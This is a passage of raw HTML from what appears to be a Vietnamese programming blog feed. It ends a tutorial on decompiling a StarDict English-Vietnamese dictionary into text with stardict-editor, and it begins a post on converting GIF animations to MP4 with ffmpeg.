url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAkElEQVQI123L2w7CIBBF0f7/V6ottlyGOww4DDGxiWmi63Wfs8hDttaZxxUzxxillABgreu9W4AQwhh01hC8Unp53O4AlicT0fXsvRNCaK2NMf310krlXOacRDQnB+838Vy2TYwfzOycXddVffTej30HAMR2VkTU2iwp5fEP1hpjLKXUWoko55xSQsTvoLX2Bmb25gzFgq0YAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Sau khi giải nén en_vi.dict.dz" title="Sau khi giải nén en_vi.dict.dz" src="/static/f0eda494b7cdf40bc6f30e682c468169/6d62d/Capture-3.png" srcset="/static/f0eda494b7cdf40bc6f30e682c468169/103f2/Capture-3.png 165w, /static/f0eda494b7cdf40bc6f30e682c468169/748ba/Capture-3.png 330w, /static/f0eda494b7cdf40bc6f30e682c468169/6d62d/Capture-3.png 583w" sizes="(max-width: 583px) 100vw, 583px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="download-công-cụ-chuyển-đổi" style="position:relative;"><a href="#download-c%C3%B4ng-c%E1%BB%A5-chuy%E1%BB%83n-%C4%91%E1%BB%95i" aria-label="download công cụ chuyển đổi permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Download công cụ chuyển đổi</h3> <p>Tiếp theo mình tải 2 công cụ về, bao gồm:</p> <ul> <li><a href="http://bit.ly/download_gtk2_runtime">gtk2-runtime-2.24.10-2012-10-10-ash.exe</a></li> <li><a href="http://bit.ly/download_stardict_editor">stardict-editor.exe</a></li> </ul> <p>Trong đó, <strong>gtk2-runtime</strong> sẽ cài đặt một số <strong>dll</strong> cần thiết để cho thằng <strong>stardict-editor</strong> chạy. Và thằng stardict-editor này chính là thằng sẽ tạo bộ dữ liệu từ điển dạng text cho mình.</p> <p><em>Vì hai tệp tin này mình tải từ rất lâu rồi, nên không còn nhớ link gốc ở đâu nữa.</em></p> <p>Kết quả mình có những công cụ như sau:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 591px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 13.333333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAkElEQVQI1x3CWQ7CIBAA0N7/dib65RZgCpSlLM1MgYKa+vImqbTU3gWk+sEysJ739sXSrU/ahsWFkGnDalwKmagOLP1/TJfr7fFk9xfjoN4MOGhQlgkZMmq7clBiXuTifNwYKG1WLJ3qWRk/gRByBs6YNbbW0uppJzpayyk558LqY4xEaIyJIfbjGL2P0VNOPwMzqCvuTsZMAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Sau khi tải 2 công cụ gtk2-runtime và stardict-editor" title="Sau khi tải 2 công cụ gtk2-runtime và stardict-editor" src="/static/e811856203578bd0d6cbf5e40dc0860d/c1f10/Capture-2.png" srcset="/static/e811856203578bd0d6cbf5e40dc0860d/103f2/Capture-2.png 165w, /static/e811856203578bd0d6cbf5e40dc0860d/748ba/Capture-2.png 330w, /static/e811856203578bd0d6cbf5e40dc0860d/c1f10/Capture-2.png 591w" sizes="(max-width: 591px) 100vw, 591px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="cài-đặt-môi-trường" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-m%C3%B4i-tr%C6%B0%E1%BB%9Dng" aria-label="cài đặt môi trường permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt môi trường</h2> <p>Đầu tiên bạn chạy <strong>gtk2-runtime</strong>. Cài đặt dễ lắm. Bạn chỉ cần chú ý là có một bước như này:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 513px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 77.57575757575758%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAACv0lEQVQoz43S62/TOhQA8PzjDLErxAq6QuLxARgXbS0MJB7TCoOJiyZYgXV9r2kSx0nsNEvTJHXsOGmdVNvtVdNdHt/uT8eSbenI5xxZ2t3bO/hwsP9u/9Wr3e3K85t/3l37o7S2Xlpb37hybePqeul66fat2/fu3H+4+Vf5xYuXr6vv9zcf1EpXH2/ckNrtdqPRbJ40al9qzVbHRNgwLAthcxUWRtg2LWwhjO3hcOiMRp4yALKi7+zsSJNwghFGCJmmOfbGtMAoSzjnPInjmDL2z+LSxcXFYrFo1GpvDt8efPxbmud5mk5FYbo045zHcVwsvtoLIWYr0+lsJhLO5nNRrb6TDMNqNVu9bq/d7pye9nvdHrIsoOmaphnQABqA0FBVTVEUCCEAOtB1jLAQWbX6VnKcM1VVoQ51XVdVzTTM8dgfj31CJmEYEkLCMAz8YNkLY5RSUsjzvPJ0Rxq5o4E8UBVFGSiDgcITjhGW+7JpmvoS7PfloeP4Y9+yLN/3OedRFOV5Xq48k4AGPn067HZ7rVb79LQfkUjD1km/e1xvfTs+keUBwnbEmG3bAABs257nBWGY5/l25ZkU+OHIdZM0Xc0mpjF0rK2aUqqi7c+IkEmWZTxJ/CDwfX80Gnmetyp7+fJsNl0180OapPM8zzKRZdn5+flisYg5p5TGjMWFn2ULIeI4TpZ4mqaMUc6Txe9Wyew/P5ODIMAY27Y9HNrIsgiJkuR/JxNCHMdxz1zP81zXpYxxzue/yOfzothlzb8mb5UrEqUsDMNJIYqioBjMhJBlFDeU0nASBhMSFMcoikgUCSG2tsuSELM4ZvzyL14qRpAQQgxo6AB0NONbR26oBhy67pkjyzKltFx+KiGENaAv/x2Aug4hNHQdgiJkefD9uH5cPzmqNz8cHh18/npUb3Y63drX74qiPtp88i+oKEWN310WjwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Nhấn thêm 2 tùy chọn để cho thằng stardict-editor chạy được" title="Nhấn thêm 2 tùy chọn để cho thằng stardict-editor chạy được" src="/static/ca4491d3b4b5bd4e3ddd416fce01bb24/7fe11/gtk-3.png" srcset="/static/ca4491d3b4b5bd4e3ddd416fce01bb24/103f2/gtk-3.png 165w, /static/ca4491d3b4b5bd4e3ddd416fce01bb24/748ba/gtk-3.png 330w, /static/ca4491d3b4b5bd4e3ddd416fce01bb24/7fe11/gtk-3.png 513w" sizes="(max-width: 513px) 100vw, 513px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Bạn phải <strong>nhấn vào 2 checkbox</strong> phía trên, rồi nhấn <strong>Next</strong>. Sau đó, bạn cứ chọn <strong>Next</strong>, hoặc <strong>Install</strong>,... cho đến khi <strong>Finish</strong> là cài đặt xong.</p> <h2 id="bắt-đầu-tạo-bộ-dữ-liệu-từ-điển-dạng-text" style="position:relative;"><a href="#b%E1%BA%AFt-%C4%91%E1%BA%A7u-t%E1%BA%A1o-b%E1%BB%99-d%E1%BB%AF-li%E1%BB%87u-t%E1%BB%AB-%C4%91i%E1%BB%83n-d%E1%BA%A1ng-text" aria-label="bắt đầu tạo bộ dữ liệu từ điển dạng text permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bắt đầu tạo bộ dữ liệu từ điển dạng text</h2> <p>Đầu tiên, bạn click vào <strong>stardict-editor.exe</strong>. Phần mềm này sẽ chạy luôn mà không cần cài đặt.</p> <p>Sau khi chương trình xuất hiện, bạn chọn vào tab <strong>DeCompile</strong> như hình dưới.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 311px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 101.21212121212122%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAACYUlEQVQ4y9XUzVObQBgHYP7iHnvqqTM99uShPZq24zhjqmIIECAJX4mAk1qtfIVNiDY08SNBIyyEBdKBVMfpqbWnPofdHdjfy7yzzGIfNz+8/1Rpsa39vX2KpvarVfwAx2u1ra2tSqWyuVnZ3t7e2dnB8RqOH3yuUfS7DfnVC+n1y9bbNxiB77Zl9kvvq6ZpqqqKPM8LPNds1gjioFYgCIKmaYqiGYblmm2RYxWaUGmiwzGYqmrAGRqGoZ/plmXbVh84wLJs4ABdNwzDms1mt0/4d3fzu8UCRpbdx2S5Y5rmkaJ05C4AwB26rusC27kYjTTtSFG1q6vrm5vZzdps5vu+P/dvfd/QDUyS5CEYemPv4vxiPr/N11arrBzzPEelBKX5ajUAToNqtNvt029nJyen2PHxcRgEMIRBEPhzPyrEEMIoisIwjOM4juIwgGEQwhBOLy9Bwfk+HjsAYDzPl98oDPqOYRgjd9S3LOA4tmm7w6FpWoZuDmwb2M5gcF7sK/fruo5RFB3HcZIky+Uyy7I0y9I0TctFVq6zJ9I0XRZihJCmHWEkSSKEynJ/ZPVAUTSsXq8/hld/4/BQwep18nnhbvcQIwgCofS/C/9TzyRJPT9MUdRymeR58Q88fZf97lfpPM/TtGiz0+kW4SRJEEJBEHhjbzqdet6PyWQaRVHyACEEIZxMJuOxt1gskiTJsqw4Z5purEve3y/IOiVLEtvgRLGDyvKP7UAI260myzYvr67Xz3u9HlatVqWSIAgMwzQaDMOyDMvyxZUi8Px6FkRBZDmOZTme50VREkVpd3fvJ4xdPlV3i19eAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Chọn DeCompile để chuyển database thành dạng text" title="Chọn DeCompile để chuyển database thành dạng text" src="/static/cfc2ad600238a808b25c4e8ce0eb6774/fedc7/stardict-1.png" srcset="/static/cfc2ad600238a808b25c4e8ce0eb6774/103f2/stardict-1.png 165w, /static/cfc2ad600238a808b25c4e8ce0eb6774/fedc7/stardict-1.png 311w" sizes="(max-width: 311px) 100vw, 311px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Tiếp theo là nhấn vào <strong>Browse</strong> và chọn đến file <strong>en_vi.ifo</strong> ở bên trong thư mục chứa bộ dữ liệu từ điển mà mình tải về lúc đầu rồi nhấn <strong>Open</strong>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 378px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 83.03030303030303%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAIAAABSJhvpAAAACXBIWXMAAAsTAAALEwEAmpwYAAADTklEQVQ4y3XRy08bVxgF8Pn3uu826qqRkn0XlbpopSyqKrBAokJANxUQtcQpOPOywaI0NsbYgB3BMHg8jzvv9713Hr4zNvZURl10k5/O6pOOzuKjft3Zomn6w4ejWq22t7e3u7u7vb29sbGxtrb29tn6+vrm5ubBwUHt/eExTbOHf5z/9F37zffcb1tUt3dxOxyNRp8H19ftdvvs7Oy01WqcnPB8g+f5RqPRbDZbrVan0+n3+zc3N7e3t8Ne925w1WqeUIHvAfGz5/mKLGuapgO9L6odQe1PrGvVG0ysNE3zLEvTNEkSjBOMMUqTnJDOxQUFNEV6GAEAepeX53+f9y57O83+D4ftN/Xej0dXG41hCBFEOIxhDBFOUpykEKIsTbvdLhX4gWm5GOMsy7MshzGMAz+D/pIk1TxflkkeOTn0qiItcRA7ILIBijyI0HA4pIAGhHvBcVwyLaZTYpvm6UD5hVZ3utn+cL7dK942nY1T593oaesTWmOUn+sKc+NGgddudyicYM/zDN0gU7JYLGRZORq4rz4+vagtXryfffX709d/Vt9+rF7WF9/8Vb1mq5dMtfkJOyZonpxSlgfGk0egAaABnKSi+GgY9mQyeRRF4V5AEMaBpwPNMKyiINJYEu4EAHTTshqNBhXDMAx923YQwvPZTFFUXTc0TZMkWRpPBOHR933Lsl0vKGdzwzSBpuuGCYDO8zwVRq5t60DTEcLLZeX7vuM40nh8fy+MhiNF0YLAB0DXNZCmmTyRxQdRUVQNAI7jKIgC17GABlzXWywWcRRHURwEvmM7tm0lSZrnGYQoCiNCSBiEnuu6rmeaJsMwVBxHnmspimIAEPie4zh5nldVtVwuqy/ACGkaWJXdAI8133CwGxLbzy0vyXPy5fLqmCTJf8umi+7G7liNZAPJOlIMhHFaFCUhBSGkKIqyLElBioJMSTElJSlnECcI4VU5yzIYw2cxjFeJoigMoyAILctWVVWSJjrQgWmJpieo+khSH3Vb8yFD09RyuZyuFsr/m89nZVn4fiA+iIPBtSzJluuP3Xj0IP1zdSMoJoDZ6lU83+A4nud5juPYZwzD0M/q9TrNMDzPsyzLsewxzdbq9DHLHTEcyzf29/f/BZGOZm2oBpuwAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Nhớ chọn vào file en_vi.info nhé" title="Nhớ chọn vào file en_vi.info nhé" src="/static/a599add938fd5eb92886cd416c07b099/1b718/Untitled.png" srcset="/static/a599add938fd5eb92886cd416c07b099/103f2/Untitled.png 165w, /static/a599add938fd5eb92886cd416c07b099/748ba/Untitled.png 330w, /static/a599add938fd5eb92886cd416c07b099/1b718/Untitled.png 378w" sizes="(max-width: 378px) 100vw, 378px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Sau đó, bạn chỉ cần nhấn vào <strong>Decompile</strong>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 311px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 101.21212121212122%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAClElEQVQ4y52UOXPaQBSA9Y/TpUqVSZ0mjbvEmYzjsQGhAwFGgAxGCGIwGZtDEjoRWBKLDoIF6EAZ4StFMhP7K/Z83763Wyz09fOXg2+H5TMyk8kQeQI+PckiWQRFvx8dHe45Pj4+PT1BUAxB0AyWLxx8unj3pv7+bfXjB4hAs9QFedX92W63W61Wo16r1WtViiIIAsdxPJdQLBYLheJZqVSlzutlking7WKuQZ5BDZoWxuJwMLi+vhElSVUmqqJKgjTTpsPBsN8fAABs23Yc5751XNdaLpfemuV4iCCI0WjUZpiLekNVVdMwDcOcTaYWAL1e7/KyY1mWvTct254DsFgsFgBYi8VgMIDIEikLkjaZqooKgGXouizJY05QZFkUBJ7lZUmZqJooirox79/cwCk4T+QbdPPqqgd1O9271cq781arVZLDdkxzrusGAMDQdQDAfA7m5nzfgelsxrEcy7KyrPD8OCk7fkTg+OFwpKqawPGSKI65saqoHMuNhqzEj6WxIIpKErfbxXHc7w8gFMU2m63v+9vtNoqi8A+iMAqCx2EyS3Y3m20SHwTt9g8IQdAgCPfH/RdPZTJMG0qn02H4IMcvodlkoGwWecr8MpluQgiKvl6G4ewry07kLPJ6OZ15lv/6qv+CppsQiuGvu3Mi43jO9/0oihzH+bVa6bpu27bruuv1erfbRc88HL1fDB/lXC4MQ8uyTdNUFEXeo0202XTmeV4QBL7vB0Hged7t7FbTpsvl8j4Zw7SgTAaO49h13eXSLeaLDE1XyApNM47r+r7/dB3P86qVMlkqG+b8voROpwulUqlGgy6XK7kcgeE4hiW/B4KgGIbXajWKOqcoqpZQJ0myVCIp6jz5a+p1GIZ/A3LuNxMbHWohAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Nhấn vào Decompile để bắt đầu chuyển đổi" title="Nhấn vào Decompile để bắt đầu chuyển đổi" src="/static/966796721f569f4b45214b95a5413292/fedc7/stardict-3-1.png" srcset="/static/966796721f569f4b45214b95a5413292/103f2/stardict-3-1.png 165w, /static/966796721f569f4b45214b95a5413292/fedc7/stardict-3-1.png 311w" sizes="(max-width: 311px) 100vw, 311px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Nếu bạn thấy thông báo <strong>Done!</strong>, thì nghĩa là bạn đã tạo bộ dữ liệu từ điển dạng text thành công.</p> <p>Nếu cẩn thận hơn thì bạn có thể nhấn thêm vào <strong>Verify</strong> để kiểm tra lại kết quả một lần nữa.</p> <p>Kết quả là mình đã có bộ dữ liệu từ điển dạng text rồi!</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 580px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 16.363636363636363%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAjklEQVQI1x3BCQ7CIBAAwP7/fxo1Qjm2QDkDu2mpNMbYmamWmTMmhSSicZ6fyxijH4f33hgDGkopKWVjba1t78fee6uNiKbb/f54vqSQzjlYFgCwfy7FZI3RSiulYoxuXbWGEAJdQIMxduKCc84Fn9mbpZQJCRFba9u2lZJDCN77hphzXp3rvX8viJhT/gE53KXqTPMBfAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Kết quả thu được file en_vi.txt" title="Kết quả thu được file en_vi.txt" src="/static/2408f909af2bc9b1e19dbb995e9a410f/12f38/Capture-6.png" srcset="/static/2408f909af2bc9b1e19dbb995e9a410f/103f2/Capture-6.png 165w, /static/2408f909af2bc9b1e19dbb995e9a410f/748ba/Capture-6.png 330w, /static/2408f909af2bc9b1e19dbb995e9a410f/12f38/Capture-6.png 580w" sizes="(max-width: 580px) 100vw, 580px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là cách mà mình đã dùng để tạo bộ dữ liệu từ điển dạng text từ database của StarDict.</p> <p>Nếu có bước nào khó hiểu, bạn có thể đặt câu hỏi trong phần bình luận phía dưới. Mình sẽ cố gắng giải đáp nhé!</p> <p>Xin chào và hẹn gặp lại!</p>[email protected]<![CDATA[Chuyển ảnh động GIF thành video]]><![CDATA[Có lẽ bạn đã quá quen thuộc với ảnh động GIF. Việc sử dụng ảnh động GIF sẽ giúp cho trang web, bài viết trở nên sinh động hơn. Tuy nhiên, ảnh động GIF thường có dung lượng khá lớn…]]>https://completejavascript.com/chuyen-anh-dong-gif-thanh-video/https://completejavascript.com/chuyen-anh-dong-gif-thanh-video/<![CDATA[FFmpeg]]><![CDATA[Performance]]>Thu, 04 Oct 2018 11:45:05 GMT<p>Có lẽ bạn đã quá quen thuộc với ảnh động GIF. Việc sử dụng ảnh động GIF sẽ giúp cho trang web, bài viết trở nên sinh động hơn. Tuy nhiên, ảnh động GIF thường có dung lượng khá lớn. Điều này sẽ làm giảm <a href="/tag/performance/">hiệu năng của trang web</a>. May mắn thay, có một giải pháp cho vấn đề này, đó là: chuyển ảnh động GIF thành video. Do đó, bài viết này sẽ giới thiệu với bạn cách chuyển ảnh động GIF thành video và sử dụng video mà đem lại hiệu quả tương tự như ảnh động GIF. Mời bạn theo dõi bài viết.</p> <h2 id="tại-sao-ảnh-động-gif-lại-nặng-hơn-video" style="position:relative;"><a href="#t%E1%BA%A1i-sao-%E1%BA%A3nh-%C4%91%E1%BB%99ng-gif-l%E1%BA%A1i-n%E1%BA%B7ng-h%C6%A1n-video" aria-label="tại sao ảnh động gif lại nặng hơn video permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tại sao ảnh động GIF lại nặng hơn video?</h2> <p>Thông thường, khi so sánh giữa ảnh và video, chúng ta thường nghĩ rằng ảnh thì bao giờ cũng nhẹ hơn video.</p> <p><strong>Nhưng tại sao ảnh động GIF lại nặng hơn video?</strong></p> <p>Đó là vì với ảnh động, mỗi frame đều là một ảnh riêng biệt. Do vậy, dung lượng của ảnh động GIF thường sẽ bằng tổng dung lượng của các frame. Nhưng rõ ràng, khoảng thời gian giữa 2 frame thường rất ngắn, nên sự khác nhau giữa chúng là rất ít. Nên việc lưu toàn bộ bức ảnh ở mỗi frame là không cần thiết.</p> <p>Trong khi với video, người ta mã video thành dãy các frame I, P, B (tuỳ thuộc vào kiểu mã hoá mà tỉ lệ I, P, B là khác nhau). Các frame I, P, B có đặc điểm là:</p> <ul> <li>Frame I (Intra-coded picture): chứa toàn bộ nội dung của bức ảnh, giống như một ảnh JPG, BMP,...</li> <li>Frame P (Predicted picture): lưu sự thay đổi của frame hiện tại so với frame trước.</li> <li>Frame B (Bidirectional predicted picture): lưu sự thay đổi của frame hiện tại so với cả frame trước và frame đằng sau nó.</li> </ul> <p>Vì frame loại P và B chỉ lưu sự thay đổi giữa các frame, nên dung lượng của chúng rất nhỏ so với frame loại I. Nhờ vậy, tổng dung lượng của video sẽ nhỏ hơn nhiều so với ảnh động GIF tương ứng.</p> <h2 id="chuyển-ảnh-động-gif-thành-video" style="position:relative;"><a href="#chuy%E1%BB%83n-%E1%BA%A3nh-%C4%91%E1%BB%99ng-gif-th%C3%A0nh-video" aria-label="chuyển ảnh động gif thành video permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển ảnh động GIF thành video</h2> <p>Nếu bạn search trên Google thì sẽ thấy có rất nhiều trang giúp chuyển ảnh động GIF thành video online. Tuy nhiên, bài viết này sẽ giới thiệu với bạn một phần mềm mã nguồn mở rất mạnh mẽ, đó là <strong>ffmpeg</strong>. Đây là công cụ chuyên dùng để xử lý hình ảnh, audio và video.</p> <p>Để tải và cài đặt ffmpeg bạn có thể tham khảo bài viết: <a href="/huong-dan-tim-hieu-ffmpeg-co-ban/">Hướng dẫn tìm hiểu FFmpeg cơ bản</a>.</p> <h3 id="câu-lệnh-cơ-bản" style="position:relative;"><a href="#c%C3%A2u-l%E1%BB%87nh-c%C6%A1-b%E1%BA%A3n" aria-label="câu lệnh cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Câu lệnh cơ bản</h3> <p>Để chuyển ảnh động GIF thành video bạn sử dụng câu lệnh sau:</p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i input.gif output.mp4</code></pre></div> <p>Trong đó:</p> <ul> <li><code>ffmpeg</code>: tên của chương trình</li> <li><code>-i</code>: là cờ dùng để chỉ định đầu vào, tên đầu vào đặt ngay sau đó</li> <li><code>iniput.gif</code>: tên ảnh động GIF đầu vào</li> <li><code>output.mp4</code>: tên video đầu ra với định dạng MPEG-4</li> </ul> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 463px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 12.727272727272728%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAgklEQVQI1y3NQQ6DIBBAUe5/wjYh3QhRHBgGBAYFTFPp2/7FF2YzsMMYo/c+xsg54yPGiOiYuZSM3hNRa+2+7/5orXmP4v2SHyl3A7MRkdJKLQtYq7VOKR1HBIBtXZ3DGAMzz5O1IBCJvA8U5rnWmh65lJLLdV3nef7uf4mZ57wyfwHfIKrlFm+/0QAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Dung lượng của video giảm đáng kể so với ảnh động GIF" title="Dung lượng của video giảm đáng kể so với ảnh động GIF" src="/static/27d6ffa785403d2818c440799676a496/11b02/gif_to_mp4.png" srcset="/static/27d6ffa785403d2818c440799676a496/103f2/gif_to_mp4.png 165w, /static/27d6ffa785403d2818c440799676a496/748ba/gif_to_mp4.png 330w, /static/27d6ffa785403d2818c440799676a496/11b02/gif_to_mp4.png 463w" sizes="(max-width: 463px) 100vw, 463px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="sử-dụng-phương-pháp-crf" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-ph%C6%B0%C6%A1ng-ph%C3%A1p-crf" aria-label="sử dụng phương pháp crf permalink" class="anchor before"><svg aria-hidden="true" 